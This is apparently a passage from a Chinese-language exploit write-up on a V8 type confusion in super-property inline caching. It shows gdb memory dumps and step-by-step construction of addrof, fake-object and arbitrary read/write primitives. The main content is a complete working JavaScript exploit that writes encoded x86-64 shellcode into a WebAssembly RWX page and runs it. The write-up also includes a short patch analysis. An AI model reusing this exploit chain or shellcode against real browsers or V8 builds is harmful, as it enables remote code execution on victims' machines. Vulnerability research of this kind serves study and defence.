Received signal 4 ILL_ILLOPN 7fd329ead151
[1] 20453 illegal hardware instruction (core dumped) ./d8 --allow-natives-syntax --log-maps --trace-ic --log-code exp.js

因为:

Untitled 5.png

也就是:

1
O.prototype.__proto__ == Object.prototype

所以当调用 c.m() 的时候,所找到的便是 f.prototype ,而在生成了 IC 之后所使用的便不是 f 而是 c ,进而是一个 JS_OBJECTJSFunction 的混淆,也就是方法 fc 的混淆

漏洞利用

那么我们有一个类型混淆该怎么进行利用呢?让我们来介绍一下 JSPrimitiveWrapper ,当我们使用如下方法声明一个字符串的时候,便就是 JSPrimitiveWrapper

1
2
3
4
5
6
7
8
9
10
11
12
var c = new String("A");

gef➤ job 0x3cf081492c5
0x3cf081492c5: [JSPrimitiveWrapper]
- map: 0x03cf08302bb9 <Map(FAST_STRING_WRAPPER_ELEMENTS)> [FastProperties]
- prototype: 0x03cf082c7565 <Object map = 0x3cf083067e1 value = 0x03cf080424fd <String[0]: #>>
- elements: 0x03cf0804222d <FixedArray[0]> [FAST_STRING_WRAPPER_ELEMENTS]
- value: 0x03cf082d25a5 <String[1]: #A>
- properties: 0x03cf0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3cf080446d1: [String] in ReadOnlySpace: #length: 0x03cf082423c1 <AccessorInfo> (const accessor descriptor), location: descriptor
}

其字符串长度在 value 所指向的地方(也就是 c.length ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  x/30wx 0x3cf081492c5-1
0x3cf081492c4: 0x08302bb9 0x0804222d 0x0804222d 0x082d25a5
0x3cf081492d4: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0x3cf081492e4: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0x3cf081492f4: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0x3cf08149304: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0x3cf08149314: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0x3cf08149324: 0xbeadbeef 0xbeadbeef 0xbeadbeef 0xbeadbeef
0x3cf08149334: 0xbeadbeef 0xbeadbeef

gef➤ job 0x082d25a5
0x3cf082d25a5: [String] in OldSpace: #A

gef➤ x/30wx 0x3cf082d25a5-1
0x3cf082d25a4: 0x08042251 0xd6da2596 0x00000001 0xbeadbe41 // 0x00000001 为长度,0xbeadbe41 中的第一个字节为值
0x3cf082d25b4: 0x08042251 0x4862524a 0x0000000b 0x74737953
0x3cf082d25c4: 0x72426d65 0xbe6b6165 0x08042191 0x0000000c
0x3cf082d25d4: 0x082d25ef 0x082d26ab 0x082d26e3 0x082d271b
0x3cf082d25e4: 0x082d2753 0x082d278b 0x080425f9 0x082d28cd
0x3cf082d25f4: 0x082d2615 0x082d2a11 0x082d247d 0x00000000
0x3cf082d2604: 0x00020000 0x08001000 0x00000000 0x00000047
0x3cf082d2614: 0x080425d1 0x0000001a

如果我们像这样声明一个对象 o

1
2
3
4
5
6
7
8
9
10
11
12
class O extends Object{
constructor(){
super();
this.x0 = this;
this[0] = 0x66666666 / 2;
}
m(){
return super.length;
}
}

var o = new O();

那么在 map、propertieselements 后面的便是指向自己的指针,也就是 this.x0 = this 的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gef➤  job 0x12670814910d
0x12670814910d: [JS_OBJECT_TYPE]
- map: 0x126708307231 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x126708148ed1 <O map = 0x126708307209>
- elements: 0x1267081491d1 <FixedArray[17]> [HOLEY_ELEMENTS]
- properties: 0x12670804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x1267082d2c75: [String] in OldSpace: #x0: 0x12670814910d <Object map = 0x126708307231> (const data field 0), location: in-object
}
- elements: 0x1267081491d1 <FixedArray[17]> {
0: 858993459
1-16: 0x12670804242d <the_hole>
}

gef➤ x/30wx 0x12670814910d-1
0x12670814910c: 0x08307231 0x0804222d 0x081491d1 0x0814910d // 指向自己
0x12670814911c: 0x080422c5 0x080422c5 0x080422c5 0x080422c5
0x12670814912c: 0x080422c5 0x080422c5 0x080422c5 0x080422c5
0x12670814913c: 0x080422c5 0x080422c5 0x080422c5 0x080422c5
0x12670814914c: 0x080422c5 0x08042205 0x00000004 0x00000000
0x12670814915c: 0x0000000e 0x08045a01 0x00020002 0x00000000
0x12670814916c: 0x080421f9 0x08044115 0x00000228 0x00000002
0x12670814917c: 0x082d255d 0x00100628

当我们让类型 OJSPrimitiveWrapper 混淆了之后,我们便可以泄漏出 elements 数组指针的值,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Int32Array(buf);

function f2i(f){
float64[0] = f;
return bigUint64[0];
}

function i2f(i){
bigUint64[0] = i;
return float64[0];
}

function hex(i){
return '0x' + i.toString(16).padStart(16, '0');
}

class O extends Object{
constructor(){
super();
this.x0 = this;
this[0] = 0x66666666 / 2;
}
m(){
return super.length;
}
}

var o = new O();

function f(){
const proto = new String("A");
O.prototype.__proto__ = proto;
proto.length;
var l = o.m();
return l;
}
for(let i=0;i<0x100;i++){
print(hex(f()));
}
%DebugPrint(o);
%SystemBreak();

同样的,如果我们使用 Array ,则会发现它的 length 我们可以随便设置,且刚好就是 JSPrimitiveWrappervalue 指针处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var a = new Array(1,2);
a.length = 0x66666666 / 2;

gef➤ job 0x42808149245
0x42808149245: [JSArray]
- map: 0x042808307259 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
- prototype: 0x0428082cb899 <JSArray[0]>
- elements: 0x042808149265 <NumberDictionary[16]> [DICTIONARY_ELEMENTS]
- length: 858993459
- properties: 0x04280804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x428080446d1: [String] in ReadOnlySpace: #length: 0x04280824215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x042808149265 <NumberDictionary[16]> {
- max_number_key: 1
0: 1 (data, dict_index: 0, attrs: [WEC])
1: 2 (data, dict_index: 0, attrs: [WEC])
}

gef➤ x/30wx 0x42808149245-1
0x42808149244: 0x08307259 0x0804222d 0x08149265 0x66666666 // length
0x42808149254: 0x08042205 0x00000004 0x00000002 0x00000004
0x42808149264: 0x08042b89 0x00000020 0x00000004 0x00000000
0x42808149274: 0x00000008 0x00000004 0x080423b5 0x080423b5
0x42808149284: 0x080423b5 0x080423b5 0x080423b5 0x080423b5
0x42808149294: 0x00000000 0x00000002 0x00000000 0x00000002
0x428081492a4: 0x00000004 0x00000000 0xbeadbeef 0xbeadbeef
0x428081492b4: 0xbeadbeef 0xbeadbeef

那么我们便可以获得有限范围内地址读的能力,为什么是有限范围呢?因为当 length 大于 SMI 的范围的时候,便会使用一个 HeapNumber 来存储长度,然后 length 处便变为了指向该 HeapNumber 的指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var a = new Array(1,2);
a.length = 0xe6666666 / 2;

gef➤ job 0x279d08149245
0x279d08149245: [JSArray]
- map: 0x279d08307259 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
- prototype: 0x279d082cb899 <JSArray[0]>
- elements: 0x279d08149265 <NumberDictionary[16]> [DICTIONARY_ELEMENTS]
- length: 0x279d081492ad <HeapNumber 1932735283.0>
- properties: 0x279d0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x279d080446d1: [String] in ReadOnlySpace: #length: 0x279d0824215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x279d08149265 <NumberDictionary[16]> {
- max_number_key: 1
0: 1 (data, dict_index: 0, attrs: [WEC])
1: 2 (data, dict_index: 0, attrs: [WEC])
}

gef➤ x/30wx 0x279d08149245-01
0x279d08149244: 0x08307259 0x0804222d 0x08149265 0x081492ad
0x279d08149254: 0x08042205 0x00000004 0x00000002 0x00000004
0x279d08149264: 0x08042b89 0x00000020 0x00000004 0x00000000
0x279d08149274: 0x00000008 0x00000004 0x00000000 0x00000002
0x279d08149284: 0x00000000 0x080423b5 0x080423b5 0x080423b5
0x279d08149294: 0x080423b5 0x080423b5 0x080423b5 0x00000002
0x279d081492a4: 0x00000004 0x00000000 0x080423d1 0xccc00000
0x279d081492b4: 0x41dccccc 0xbeadbeef

gef➤ job 0x279d081492ad
1932735283.0

然后有了有限范围内地址的读能力,便可以使用之前的对象 o 来构造 addrof 方法,整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Int32Array(buf);

function f2i(f){
float64[0] = f;
return bigUint64[0];
}

function i2f(i){
bigUint64[0] = i;
return float64[0];
}

function hex(i){
return '0x' + i.toString(16).padStart(16, '0');
}

function printhex(name,value){
console.log(name + " : " + hex(value));
}

function leak_elements_ptr(){
class O extends Object{
constructor(){
super();
this.x0 = this;
this[0] = 0x66666666 / 2;
}
m(){
return super.length;
}
}

var o = new O();

function f(){
const proto = new String("A");
O.prototype.__proto__ = proto;
proto.length;
var l = o.m();
return l;
}

for(let i = 0; i < 0x100; i++){
let length = f();
if(length != 1){
return [o,length - 1];
}
}
}

var [o,elements_ptr] = leak_elements_ptr();
printhex("elements_ptr",elements_ptr);

function get_read_and_addrof(o,elements_ptr){
class A extends Array{
constructor(){
super(1,2);
}
m(){
return super.length;
}
}

var a = new A();

function f(){
const proto = new String("A");
A.prototype.__proto__ = proto;
proto.length;
var l = a.m();
return l;
}

for(let i = 0; i < 0x100; i++){
let length = f();
if(length != 1){
break;
}
}

function read(addr){
a.length = (addr - 8) / 2;
let l = f();
a.length = (addr - 8 + 2) / 2;
let h = f();
return ((h << 8) & 0xff000000) + (l >> 8);
}

function addrof(obj){
o[0] = obj;
return read(elements_ptr + 8) - 1;
}

return [read,addrof];

}

var [read,addrof] = get_read_and_addrof(o,elements_ptr);
print(hex(read(elements_ptr)));
print(hex(addrof(o)));
%DebugPrint(o);
%SystemBreak();

接下来是任意地址读写,当我们构造如下代码时:

1
2
3
4
var f = function () {};

%DebugPrint(f);
%DebugPrint(f.prototype);

可以发现 f.prototype 所返回的是一个对象,其指针位于 f 内存地址的 + 0x1c 处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
gef➤  job 0x370408149349
0x370408149349: [Function]
- map: 0x370408302281 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3704082c35ad <JSFunction (sfi = 0x3704082486cd)>
- elements: 0x37040804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: 0x370408149369 <Object map = 0x370408307321>
- initial_map:
- shared_info: 0x3704082d27a5 <SharedFunctionInfo f>
- name: 0x3704082d251d <String[1]: #f>
- builtin: CompileLazy
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x3704082d2ae1 <ScriptContext[4]>
- code: 0x370400045501 <Code BUILTIN CompileLazy>
- source code: () {}
- properties: 0x37040804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3704080446d1: [String] in ReadOnlySpace: #length: 0x370408242339 <AccessorInfo> (const accessor descriptor), location: descriptor
0x3704080447e5: [String] in ReadOnlySpace: #name: 0x3704082422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
0x370408043e31: [String] in ReadOnlySpace: #arguments: 0x37040824226d <AccessorInfo> (const accessor descriptor), location: descriptor
0x37040804404d: [String] in ReadOnlySpace: #caller: 0x3704082422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
0x370408044a21: [String] in ReadOnlySpace: #prototype: 0x37040824237d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- feedback vector: feedback metadata is not available in SFI

gef➤ x/30wx 0x370408149349-1
0x370408149348: 0x08302281 0x0804222d 0x0804222d 0x082d27a5
0x370408149358: 0x082d2ae1 0x082d2aa5 0x00045501 0x08149369 // f.prototype
0x370408149368: 0x08307321 0x081493a1 0x0804222d 0x00000000
0x370408149378: 0x00000000 0x00000000 0x00000000 0x08045a01
0x370408149388: 0x00010001 0x00000000 0x080421f9 0x08044115
0x370408149398: 0x000001a8 0x08302283 0x08042b39 0x00000022
0x3704081493a8: 0x00000002 0x00000000 0x00000008 0x00000004
0x3704081493b8: 0x00000000 0x080423b5

gef➤ job 0x370408149369
0x370408149369: [JS_OBJECT_TYPE]
- map: 0x370408307321 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x3704082c3c55 <Object map = 0x3704083021b9>
- elements: 0x37040804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3704081493a1 <NameDictionary[17]>
- All own properties (excluding elements): {
constructor: 0x370408149349 <JSFunction f (sfi = 0x3704082d27a5)> (data, dict_index: 1, attrs: [W_C])
}

gef➤ x/30wx 0x370408149369-1
0x370408149368: 0x08307321 0x081493a1 0x0804222d 0x00000000
0x370408149378: 0x00000000 0x00000000 0x00000000 0x08045a01
0x370408149388: 0x00010001 0x00000000 0x080421f9 0x08044115
0x370408149398: 0x000001a8 0x08302283 0x08042b39 0x00000022
0x3704081493a8: 0x00000002 0x00000000 0x00000008 0x00000004
0x3704081493b8: 0x00000000 0x080423b5 0x080423b5 0x080423b5
0x3704081493c8: 0x080423b5 0x080423b5 0x080423b5 0x08044115
0x3704081493d8: 0x08149349 0x00000220

那么我们可以利用和之前一样的技巧,让 function 和我们自己构造的类混淆,并且在指定的内存区域伪造对象指针,在内存中伪造对象。然后通过 f.prototype 便可以得到一个伪造的对象进而进行任意地址读写的操作。

但是在实际尝试的时候会发现有问题,经过调试发现了问题所在。我们来看 CodeStubAssembler::LoadJSFunctionPrototype 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
TNode<HeapObject> CodeStubAssembler::LoadJSFunctionPrototype(
TNode<JSFunction> function, Label* if_bailout) {
CSA_ASSERT(this, IsFunctionWithPrototypeSlotMap(LoadMap(function)));
CSA_ASSERT(this, IsClearWord32<Map::Bits1::HasNonInstancePrototypeBit>(
LoadMapBitField(LoadMap(function))));
TNode<HeapObject> proto_or_map = LoadObjectField<HeapObject>(
function, JSFunction::kPrototypeOrInitialMapOffset);
GotoIf(IsTheHole(proto_or_map), if_bailout);

TVARIABLE(HeapObject, var_result, proto_or_map);
Label done(this, &var_result);
GotoIfNot(IsMap(proto_or_map), &done);

var_result = LoadMapPrototype(CAST(proto_or_map));
Goto(&done);

BIND(&done);
return var_result.value();
}

这里如果我们按照上面的说法,那么在 GotoIfNot(IsMap(proto_or_map), &done); 的时候就会直接走到 done ,但是我们伪造的时候由于伪造的地址是一个 SMI ,所以并不是一个对象,就这样返回的话会导致 v8 认为最终返回的是一个 SMI 而不是对象。所以我们需要先在原本的地方放一个指针,指向一个 map ,之后再通过这个 map 去找 prototype ,也就是下面的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
gef➤  job 0x26b308148a19
0x26b308148a19: [JSArray]
- map: 0x26b3083072a9 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x26b30814889d <B map = 0x26b3083072d1>
- elements: 0x26b308148a59 <FixedArray[2]> [PACKED_SMI_ELEMENTS]
- length: 2
- properties: 0x26b30804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x26b3080446d1: [String] in ReadOnlySpace: #length: 0x26b30824215d <AccessorInfo> (const accessor descriptor), location: descriptor
0x26b3082d29dd: [String] in OldSpace: #x0: 858993459 (const data field 0), location: in-object
0x26b3082d29ed: [String] in OldSpace: #x1: 858993459 (const data field 1), location: in-object
0x26b3082d29fd: [String] in OldSpace: #x2: 858993459 (const data field 2), location: in-object
0x26b3082d2a0d: [String] in OldSpace: #x3: 858993459 (const data field 3), location: in-object
}
- elements: 0x26b308148a59 <FixedArray[2]> {
0: 1
1: 2
}

gef➤ job 0x26b3083072a9
0x26b3083072a9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 64
- inobject properties: 12
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 8
- enum length: invalid
- stable_map
- back pointer: 0x26b308307281 <Map(PACKED_SMI_ELEMENTS)>
- prototype_validity cell: 0x26b3082d2b15 <Cell value= 1>
- instance descriptors (own) #5: 0x26b308148b85 <DescriptorArray[5]>
- prototype: 0x26b30814889d <B map = 0x26b3083072d1>
- constructor: 0x26b3082cb635 <JSFunction Array (sfi = 0x26b30824f9f1)>
- dependent code: 0x26b3080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 6

gef➤ x/30wx 0x26b3083072a9-1
0x26b3083072a8: 0x08042119 0x16080410 0x0000043d 0xc84017ff
0x26b3083072b8: 0x0814889d 0x08307281 0x08148b85 0x080421b9 // 第一个位置就是 prototype
0x26b3083072c8: 0x082d2b15 0x00000000 0x08042119 0x16000303
0x26b3083072d8: 0x19000421 0x08500bff 0x08148bd1 0x08148861
0x26b3083072e8: 0x08148bf1 0x080421b9 0x08242405 0x082d2af9
0x26b3083072f8: 0x08042119 0x14080808 0x19c20423 0x1a6003ff
0x26b308307308: 0x082c35ad 0x082c3629 0x080421c1 0x080421b9
0x26b308307318: 0x08242405 0x00000000

gef➤ job 0x0814889d
0x26b30814889d: [JS_OBJECT_TYPE]
- map: 0x26b3083072d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x26b308148bd1 <JSFunction proto (sfi = 0x26b3082d2b49)>
- elements: 0x26b30804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x26b308148aa1 <PropertyArray[2]>
- All own properties (excluding elements): {
0x26b308044115: [String] in ReadOnlySpace: #constructor: 0x26b308148861 <JSFunction B (sfi = 0x26b3082d26b5)> (const data field 0), location: properties[0]
0x26b3082d24cd: [String] in OldSpace: #m: 0x26b308148881 <JSFunction m (sfi = 0x26b3082d26ed)> (const data field 1), location: properties[1]

那么编写如下代码即可得到一个 fake_arr_object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
var double_array = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.0];

function get_fake_arr_obj(double_array){
var double_array_addr = addrof(double_array);
var double_array_map = read(double_array_addr);
var double_array_elements_addr = read(double_array_addr + 0x8) - 1;
var double_array_elements_map = read(double_array_elements_addr);
var double_array_map_map = read(double_array_map - 1);
var fake_length = 0x1000;

printhex("double_array_addr",double_array_addr);
printhex("double_array_map",double_array_map);
printhex("double_array_elements_addr",double_array_elements_addr);
printhex("double_array_elements_map",double_array_elements_map);
printhex("double_array_map_map",double_array_map_map);

double_array[0] = i2f(BigInt(double_array_map_map) << 8n);
double_array[1] = 0
double_array[2] = i2f(BigInt(double_array_elements_addr + 0x21) << 8n);
double_array[3] = i2f(BigInt(double_array_map));
double_array[4] = i2f(BigInt(fake_length) << 32n | BigInt(double_array_elements_addr + 0x31));
double_array[5] = i2f(BigInt(fake_length) << 32n | BigInt(double_array_elements_map));
double_array[6] = 0;

class B extends Array{
constructor(){
super(1,2);
this.x0 = 0x66666666 / 2;
this.x1 = 0x66666666 / 2;
this.x2 = 0x66666666 / 2;
this.x3 = (double_array_elements_addr + 0x8 + 2) / 2;

}
m(){
return super.prototype;
}
}

var b = new B();

function f(){
const proto = function () {};
B.prototype.__proto__ = proto;
proto.prototype;
return b.m();
}
for(let i=0;i<0x100;i++){
var fake_obj = f();
if(fake_obj.length != undefined){
return fake_obj;
}
}
}

然后顺理成章弄出来 read64、write64、arb_readarb_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function read64(addr){
fake_arr_obj[0x11] = i2f((4n << 32n) | (BigInt(addr - 0x7)));
return f2i(da[0]);
}

function write64(addr,data){
fake_arr_obj[0x11] = i2f((4n << 32n) | (BigInt(addr - 0x7)));
da[0] = i2f(BigInt(data));
}

function arb_read(addr){
var high_addr = addr >> 32n;
var low_addr = addr & 0xffffffffn;
fake_arr_obj[8] = i2f(BigInt(low_addr) << 32n);
fake_arr_obj[9] = i2f(((f2i(fake_arr_obj[9]) >> 32n) << 32n) | BigInt(high_addr));
let dv = new DataView(ab);
return f2i(dv.getFloat64(0,true));
}

function arb_write(addr,data){
var high_addr = addr >> 32n;
var low_addr = addr & 0xffffffffn;
fake_arr_obj[8] = i2f(BigInt(low_addr) << 32n);
fake_arr_obj[9] = i2f(((f2i(fake_arr_obj[9]) >> 32n) << 32n) | BigInt(high_addr));
let ua = new Uint8Array(ab);
ua.set(data);
}

最后弹计算器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addrof(wasmInstance);
printhex("wasm_instance_addr",wasm_instance_addr);

var rwx_page_addr = read64(wasm_instance_addr + 0x68);
printhex("rwx_page_addr",rwx_page_addr);

const sc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
for(let i = 0; i < sc.length / 8; i++ ){
arb_write(rwx_page_addr + BigInt(i) * 8n ,sc.slice(i * 8,(i + 1) * 8));
}

f();

Patch分析

前面提到的 patch 把漏洞路径中出错的 receiver 替换为了 lookup_start_object ,可以说明是正确的 patch

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Int32Array(buf);

function f2i(f){
float64[0] = f;
return bigUint64[0];
}

function i2f(i){
bigUint64[0] = i;
return float64[0];
}

function hex(i){
return '0x' + i.toString(16).padStart(16, '0');
}

function printhex(name,value){
console.log(name + " : " + hex(value));
}

function leak_elements_ptr(){
class O extends Object{
constructor(){
super();
this.x0 = this;
this[0] = 0x66666666 / 2;
}
m(){
return super.length;
}
}

var o = new O();

function f(){
const proto = new String("A");
O.prototype.__proto__ = proto;
proto.length;
var l = o.m();
return l;
}

for(let i = 0; i < 0x100; i++){
let length = f();
if(length != 1){
return [o,length - 1];
}
}
}

var [o,elements_ptr] = leak_elements_ptr();
printhex("elements_ptr",elements_ptr);

function get_read_and_addrof(o,elements_ptr){
class A extends Array{
constructor(){
super(1,2);
}
m(){
return super.length;
}
}

var a = new A();

function f(){
const proto = new String("A");
A.prototype.__proto__ = proto;
proto.length;
var l = a.m();
return l;
}

for(let i = 0; i < 0x100; i++){
let length = f();
if(length != 1){
break;
}
}

function read(addr){
a.length = (addr - 8) / 2;
let l = f();
a.length = (addr - 8 + 2) / 2;
let h = f();
return ((h << 8) & 0xff000000) + (l >> 8);
}

function addrof(obj){
o[0] = obj;
return read(elements_ptr + 8) - 1;
}

return [read,addrof];
}

var [read,addrof] = get_read_and_addrof(o,elements_ptr);

var double_array = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.0];
var ab = new ArrayBuffer(8);
var da = [1.1,2.2];

function get_fake_arr_obj(double_array){
var double_array_addr = addrof(double_array);
var double_array_map = read(double_array_addr);
var double_array_elements_addr = read(double_array_addr + 0x8) - 1;
var double_array_elements_map = read(double_array_elements_addr);
var double_array_map_map = read(double_array_map - 1);
var fake_length = 0x1000;

printhex("double_array_addr",double_array_addr);
printhex("double_array_map",double_array_map);
printhex("double_array_elements_addr",double_array_elements_addr);
printhex("double_array_elements_map",double_array_elements_map);
printhex("double_array_map_map",double_array_map_map);

double_array[0] = i2f(BigInt(double_array_map_map) << 8n);
double_array[1] = 0
double_array[2] = i2f(BigInt(double_array_elements_addr + 0x21) << 8n);
double_array[3] = i2f(BigInt(double_array_map));
double_array[4] = i2f(BigInt(fake_length) << 32n | BigInt(double_array_elements_addr + 0x31));
double_array[5] = i2f(BigInt(fake_length) << 32n | BigInt(double_array_elements_map));
double_array[6] = 0;

class B extends Array{
constructor(){
super(1,2);
this.x0 = 0x66666666 / 2;
this.x1 = 0x66666666 / 2;
this.x2 = 0x66666666 / 2;
this.x3 = (double_array_elements_addr + 0x8 + 2) / 2;

}
m(){
return super.prototype;
}
}

var b = new B();

function f(){
const proto = function () {};
B.prototype.__proto__ = proto;
proto.prototype;
return b.m();
}
for(let i = 0; i < 0x100; i++){
var fake_obj = f();
if(fake_obj.length != undefined){
return fake_obj;
}
}
}

var fake_arr_obj = get_fake_arr_obj(double_array);

function read64(addr){
fake_arr_obj[0x11] = i2f((4n << 32n) | (BigInt(addr - 0x7)));
return f2i(da[0]);
}

function write64(addr,data){
fake_arr_obj[0x11] = i2f((4n << 32n) | (BigInt(addr - 0x7)));
da[0] = i2f(BigInt(data));
}

function arb_read(addr){
var high_addr = addr >> 32n;
var low_addr = addr & 0xffffffffn;
fake_arr_obj[8] = i2f(BigInt(low_addr) << 32n);
fake_arr_obj[9] = i2f(((f2i(fake_arr_obj[9]) >> 32n) << 32n) | BigInt(high_addr));
let dv = new DataView(ab);
return f2i(dv.getFloat64(0,true));
}

function arb_write(addr,data){
var high_addr = addr >> 32n;
var low_addr = addr & 0xffffffffn;
fake_arr_obj[8] = i2f(BigInt(low_addr) << 32n);
fake_arr_obj[9] = i2f(((f2i(fake_arr_obj[9]) >> 32n) << 32n) | BigInt(high_addr));
let ua = new Uint8Array(ab);
ua.set(data);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var wasm_instance_addr = addrof(wasmInstance);
printhex("wasm_instance_addr",wasm_instance_addr);

var rwx_page_addr = read64(wasm_instance_addr + 0x68);
printhex("rwx_page_addr",rwx_page_addr);

const sc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
for(let i = 0; i < sc.length / 8; i++ ){
arb_write(rwx_page_addr + BigInt(i) * 8n ,sc.slice(i * 8,(i + 1) * 8));
}

f();

其他七七八八的内容

LoadIC_FunctionPrototype的code

1
2
3
4
5
6
7
8
9
